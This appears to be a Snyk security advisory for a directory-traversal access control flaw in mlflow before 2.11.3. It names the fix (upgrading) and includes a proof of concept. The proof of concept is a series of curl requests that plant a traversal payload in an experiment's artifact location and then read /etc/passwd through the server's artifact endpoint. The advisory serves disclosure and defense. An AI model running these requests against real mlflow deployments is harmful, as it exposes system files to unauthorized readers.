Improper Access Control Affecting mlflow package, versions [,2.11.3)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-MLFLOW-7217833
- published 7 Jun 2024
- disclosed 6 Jun 2024
- credit Peng Zhou
How to fix?
Upgrade mlflow
to version 2.11.3 or higher.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Improper Access Control through the URI fragment parsing process. An attacker can read arbitrary files on the local file system by manipulating the fragment part of the URI to include directory traversal sequences such as ../
.
PoC
Start the mlflow web server:
mlflow ui --host 127.0.0.1:5000
Create a malicious experiment:
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "artifact_location": "http:///#/../../../../../../../../../../../../../../etc/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/experiments/create'
Associate a run to it:
curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "{{EXPERIMENT_ID}}"}' 'http://127.0.0.1:5000/api/2.0/mlflow/runs/create'
Create a registered model:
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'
Link a model version to the malicious run:
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'
Read /etc/passwd:
curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=poc&version=1'